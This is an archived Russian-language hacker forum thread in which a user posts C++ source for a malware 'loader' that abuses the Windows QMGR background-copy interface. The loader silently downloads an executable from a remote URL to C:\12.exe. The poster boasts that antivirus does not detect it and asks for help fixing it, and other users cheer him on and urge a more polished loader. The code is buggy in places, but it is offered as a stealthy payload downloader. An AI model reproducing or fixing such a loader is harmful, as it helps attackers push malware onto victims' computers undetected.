PDA

Просмотр полной версии : loader через QMGR интерфейс


Ky3bMu4
17.09.2007, 14:46
Помоему этого ещё никто не делал. :) Вот вроде написал, только gr->ResumeGroup() не хочет S_OK возвращать.А так всё остальное ок и вроде как ещё ничем не палится(если бы палилось, то уже начало бы) .Помогите понять что нитак:

#define _WIN32_WINNT 0x0500
#include "QMGR.h"
#define UNICODE
#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment(linker,"/SECTION:.text,EWR")
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
IBackgroundCopyQMgr* man=NULL;
IBackgroundCopyGroup* gr=NULL;
IBackgroundCopyJob1 * jb=(IBackgroundCopyJob1 *)GlobalAlloc(NULL,sizeof(IBackgroundCopyJob1));
FILESETINFO* file=(FILESETINFO*)GlobalAlloc(NULL,sizeof(FILESET INFO));
GUID grID,jbID;
VARIANT* pv=(VARIANT*)GlobalAlloc(NULL,sizeof(VARIANT*));
CoCreateGuid(&grID);
CoCreateGuid(&jbID);
BSTR local = BSTR("C:\\12.exe");
BSTR rem = BSTR("http://site/1.exe");
file->bstrLocalFile=local;
file->bstrRemoteFile=rem;
file->dwSizeHint=10000;
HRESULT h= CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if(SUCCEEDED(h)){
h=CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL,
CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER|CLSCTX_ LOCAL_SERVER,
__uuidof(IBackgroundCopyQMgr),
(void**) &man);
if(SUCCEEDED(h)){
if(man->CreateGroup(grID,&gr)!=S_OK){
MessageBoxA(0,"CrGr","Error!",0);
ExitProcess(0);
}
gr->SetPropA(GROUPPROP_PRIORITY,(VARIANT*)1);
gr->SetPropA(GROUPPROP_PROTOCOLFLAGS ,(VARIANT*)QM_PROTOCOL_HTTP );
gr->SetPropA(GROUPPROP_NOTIFYFLAGS ,(VARIANT*)QM_NOTIFY_DISABLE_NOTIFY);
gr->SetPropA(GROUPPROP_NOTIFYCLSID,(VARIANT*)"1");
gr->SetPropA(GROUPPROP_DISPLAYNAME,(VARIANT*)"123");
gr->SetPropA(GROUPPROP_DESCRIPTION,(VARIANT*)"2");

gr->SetPropA(GROUPPROP_REMOTEUSERID,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_REMOTEUSERPWD ,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_LOCALUSERID,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_LOCALUSERPWD,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_PROGRESSSIZE ,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_PROGRESSPERCENT ,(VARIANT*)NULL);
gr->SetPropA(GROUPPROP_PROGRESSTIME,(VARIANT*)NULL);
if(gr->CreateJob(jbID,&jb)!=S_OK){
MessageBoxA(0,"CrJb","Error!",0);
ExitProcess(0);
}
if(jb->AddFiles(0,&file)!=S_OK){
MessageBoxA(0,"AddFiles","Error!",0);
ExitProcess(0);
}
if(gr->ResumeGroup()!=S_OK){
MessageBoxA(0,"Resume","Error!",0);
ExitProcess(0);
}

Sleep(10000); //ламо было заниматься получение статуса и т.д.

}
}
jb->Release();
gr->CancelGroup();

ExitProcess(0);
}


Вот ссылка на msdn: http://msdn2.microsoft.com/en-us/library/aa363139.aspx

KEZ
17.09.2007, 15:18
> Помоему этого ещё никто не делал

конечно не делал, приватный способ имхо!

Ky3bMu4
17.09.2007, 15:29
> Помоему этого ещё никто не делал

конечно не делал, приватный способ имхо!

Ну раз так...
ставьте плюсики я герой!!!!!!!!!!!

Ni0x
17.09.2007, 16:24
>>Помоему этого ещё никто не делал.
QMGR Interfaces

[Queue Manager (QMGR) interfaces are available for use in the operating systems listed in the Requirements section. They may be altered or unavailable in subsequent versions. Use the BITS interfaces instead.]

Давай чтонибудь поновее релизь.

n0153r
17.09.2007, 16:34
Герой :) Ловим +1 в репу.
Но давай организуй норм лодер :)
Нужно доводить релиз до норм вида.